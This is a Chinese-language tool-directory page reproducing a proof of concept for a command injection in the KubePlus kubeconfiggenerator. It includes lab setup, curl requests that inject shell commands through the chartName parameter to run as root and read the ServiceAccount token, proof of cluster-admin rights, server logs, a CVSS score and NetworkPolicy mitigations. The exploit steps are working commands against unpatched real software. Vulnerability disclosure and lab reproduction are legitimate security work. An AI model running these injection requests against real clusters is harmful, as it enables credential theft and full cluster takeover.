Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29955 — CVE-2026-29955 的概念验证,这是 KubePlus kubeconfiggenerator 中的一个命令注入漏洞,允许在 Kubernetes 集群中实现远程代码执行和 ServiceAccount 令牌窃取。 | Kitploit
工具/GitHubGitHub/b0b0haha/cve-2026-29955
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

CVE-2026-29955 的概念验证,这是 KubePlus kubeconfiggenerator 中的一个命令注入漏洞,允许在 Kubernetes 集群中实现远程代码执行和 ServiceAccount 令牌窃取。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

KubePlus KubeconfigGenerator 命令注入漏洞

该漏洞存在于 KubePlus 的 kubeconfiggenerator 组件中,允许具有 HTTP 接口访问权限的攻击者通过 chartName 参数注入 shell 命令,以容器内 root 身份执行任意代码,并窃取具有 cluster-admin 权限的 ServiceAccount Token。推荐的 CWE 分类:CWE-78(操作系统命令注入)。

概述

KubePlus kubeconfiggenerator 组件中的 /registercrd 端点存在命令注入漏洞。该组件使用带 shell=True 参数的 subprocess.Popen() 执行 shell 命令,用户提供的 chartName 参数未经任何过滤或验证直接拼接进命令字符串中。攻击者可以通过构造恶意的 chartName 参数值注入任意 shell 命令。

详细信息

根本原因

在处理 CRD 注册请求时,kubeconfiggenerator 组件会下载并解压 Helm Charts。在 download_and_untar_chart() 函数中,chartName 参数被直接拼接进 shell 命令:

文件:deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

文件:deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

文件:deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

由于 shell=True 参数的存在,攻击者可以使用 shell 命令替换语法 $(command) 注入任意命令。

攻击向量

通过向 /registercrd 端点发送带有恶意 chartName 参数的 HTTP 请求,攻击者可以在 kubeconfiggenerator 容器内执行任意命令。由于容器以 root 身份运行且其 ServiceAccount 具有 cluster-admin 权限,攻击者可以:

  1. 执行任意系统命令
  2. 读取容器内的敏感文件
  3. 窃取 ServiceAccount Token
  4. 使用窃取的 Token 访问 Kubernetes API

PoC

环境搭建

1. 创建 Kind 集群

root@kitploit:~
# 创建 Kind 集群配置
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# 创建集群
kind create cluster --config kind-config.yaml

# 验证集群
kubectl cluster-info
kubectl get nodes

预期输出:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. 安装 KubePlus

root@kitploit:~
# 创建工作目录
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# 下载 KubePlus 插件
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# 下载 provider-kubeconfig 脚本
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# 搭建 Python 环境
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# 获取 API server 地址
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# 创建 provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

预期输出:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. 通过 Helm 安装 KubePlus

root@kitploit:~
# 下载 KubePlus Helm chart
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# 安装 KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# 等待 Pod 就绪
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# 验证安装
kubectl get pods -n default -l app=kubeplus

预期输出:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. 设置端口转发

root@kitploit:~
# 获取 Pod 名称
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# 设置端口转发
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# 验证服务可访问
curl -s http://localhost:5005/hello

预期输出:

root@kitploit:~
hello world

利用步骤

步骤 1:执行命令注入(id 命令)

发送带有恶意 chartName 参数的请求:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

步骤 2:验证命令执行

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

实际验证输出:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

步骤 3:窃取 ServiceAccount Token

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

步骤 4:提取窃取的 Token

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

实际验证输出:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

步骤 5:验证 Token 权限

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

实际验证输出:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

服务端日志证据

kubeconfiggenerator 容器日志显示了命令注入的执行过程:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

影响

该漏洞允许攻击者:

  1. 远程代码执行:以 root 身份在 kubeconfiggenerator 容器内执行任意命令
  2. 凭据窃取:窃取具有 cluster-admin 权限(*.*)的 ServiceAccount Token
  3. 集群接管:使用窃取的 Token 执行任意 Kubernetes API 操作,包括创建/删除 Pod、读取 Secrets、修改 RBAC 配置等
  4. 横向移动:访问集群内任意命名空间中的资源

前提条件

  • 攻击者需要能够访问 kubeconfighelper 服务的 HTTP 接口(端口 5005)
  • 该服务默认在集群内可访问

严重性

CVSS v3.1 评分:8.8(高危)

向量:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • 攻击向量(AV):网络
  • 攻击复杂度(AC):低
  • 所需权限(PR):低(需要访问 kubeconfighelper 服务)
  • 用户交互(UI):无
  • 影响范围(S):不变
  • 机密性(C):高(可窃取 ServiceAccount Token)
  • 完整性(I):高(可执行任意命令)
  • 可用性(A):高(可影响服务可用性)

受影响版本

  • KubePlus v4.2.0 及更早版本
  • 所有使用 shell=True 执行命令的版本

已修补版本

目前尚无可用修补版本。

临时缓解措施

  1. 网络隔离:使用 NetworkPolicy 限制对 kubeconfighelper 服务的访问
  2. RBAC 限制:降低 kubeplus-saas-provider ServiceAccount 的权限
  3. 监控:监控 kubeconfiggenerator 容器中的异常命令执行
root@kitploit:~
# NetworkPolicy 示例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

参考

  • CWE-78:OS 命令中特殊元素的不当中和('OS 命令注入')
  • OWASP 命令注入:https://owasp.org/www-community/attacks/Command_Injection
  • Python subprocess 安全性:https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus:https://github.com/cloud-ark/kubeplus

致谢

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

下载工具